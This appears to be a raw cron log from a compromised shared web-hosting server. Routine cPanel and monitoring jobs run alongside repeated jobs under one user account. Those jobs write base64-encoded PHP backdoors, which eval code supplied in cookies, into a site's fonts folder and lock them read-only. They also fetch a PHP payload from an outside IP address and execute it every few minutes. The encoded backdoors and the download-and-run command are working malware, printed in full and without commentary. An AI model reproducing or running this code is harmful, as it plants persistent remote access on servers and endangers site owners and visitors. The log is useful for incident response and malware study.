Sep 10 10:24:01 ip-184-168-122-23 CROND[19105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:24:01 ip-184-168-122-23 CROND[19106]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:24:01 ip-184-168-122-23 CROND[19104]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:25:01 ip-184-168-122-23 CROND[19223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:25:01 ip-184-168-122-23 CROND[19225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:25:01 ip-184-168-122-23 CROND[19229]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:25:01 ip-184-168-122-23 CROND[19227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:25:01 ip-184-168-122-23 CROND[19226]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:25:01 ip-184-168-122-23 CROND[19228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:25:01 ip-184-168-122-23 CROND[19230]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 10:26:01 ip-184-168-122-23 CROND[19398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:26:01 ip-184-168-122-23 CROND[19397]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:26:01 ip-184-168-122-23 CROND[19400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:26:01 ip-184-168-122-23 CROND[19403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:26:01 ip-184-168-122-23 CROND[19406]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:27:01 ip-184-168-122-23 CROND[19635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:27:02 ip-184-168-122-23 CROND[19638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:27:02 ip-184-168-122-23 CROND[19637]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:27:02 ip-184-168-122-23 CROND[19639]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:28:01 ip-184-168-122-23 CROND[19790]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:28:01 ip-184-168-122-23 CROND[19791]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:28:01 ip-184-168-122-23 CROND[19793]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:28:01 ip-184-168-122-23 CROND[19796]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:28:01 ip-184-168-122-23 CROND[19795]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:29:01 ip-184-168-122-23 CROND[19916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:29:01 ip-184-168-122-23 CROND[19918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:29:01 ip-184-168-122-23 CROND[19920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:29:01 ip-184-168-122-23 CROND[19919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:30:01 ip-184-168-122-23 CROND[20058]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:30:01 ip-184-168-122-23 CROND[20060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:30:01 ip-184-168-122-23 CROND[20061]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:30:01 ip-184-168-122-23 CROND[20063]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:30:01 ip-184-168-122-23 CROND[20064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:30:01 ip-184-168-122-23 CROND[20065]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 10:30:01 ip-184-168-122-23 CROND[20066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:30:01 ip-184-168-122-23 CROND[20067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:31:01 ip-184-168-122-23 CROND[20198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:31:01 ip-184-168-122-23 CROND[20200]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:31:01 ip-184-168-122-23 CROND[20201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:31:01 ip-184-168-122-23 CROND[20202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:31:01 ip-184-168-122-23 CROND[20203]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 10:32:01 ip-184-168-122-23 CROND[20387]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:32:01 ip-184-168-122-23 CROND[20389]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:32:01 ip-184-168-122-23 CROND[20390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:32:01 ip-184-168-122-23 CROND[20391]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:32:01 ip-184-168-122-23 CROND[20393]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:33:01 ip-184-168-122-23 CROND[20526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:33:01 ip-184-168-122-23 CROND[20528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:33:01 ip-184-168-122-23 CROND[20527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:33:01 ip-184-168-122-23 CROND[20529]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:34:01 ip-184-168-122-23 CROND[20672]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:34:01 ip-184-168-122-23 CROND[20671]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 10:34:01 ip-184-168-122-23 CROND[20673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:34:01 ip-184-168-122-23 CROND[20674]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:34:01 ip-184-168-122-23 CROND[20675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:35:01 ip-184-168-122-23 CROND[20817]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 10:35:01 ip-184-168-122-23 CROND[20819]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 10:35:01 ip-184-168-122-23 CROND[20820]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 10:35:01 ip-184-168-122-23 CROND[20821]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 10:35:01 ip-184-168-122-23 CROND[20822]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 10:35:01 ip-184-168-122-23 CROND[20825]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 10:35:01 ip-184-168-122-23 CROND[20824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 10:35:01 ip-184-168-122-23 CROND[20823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 10:36:01 ip-184-168-122-23 CROND[21041]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
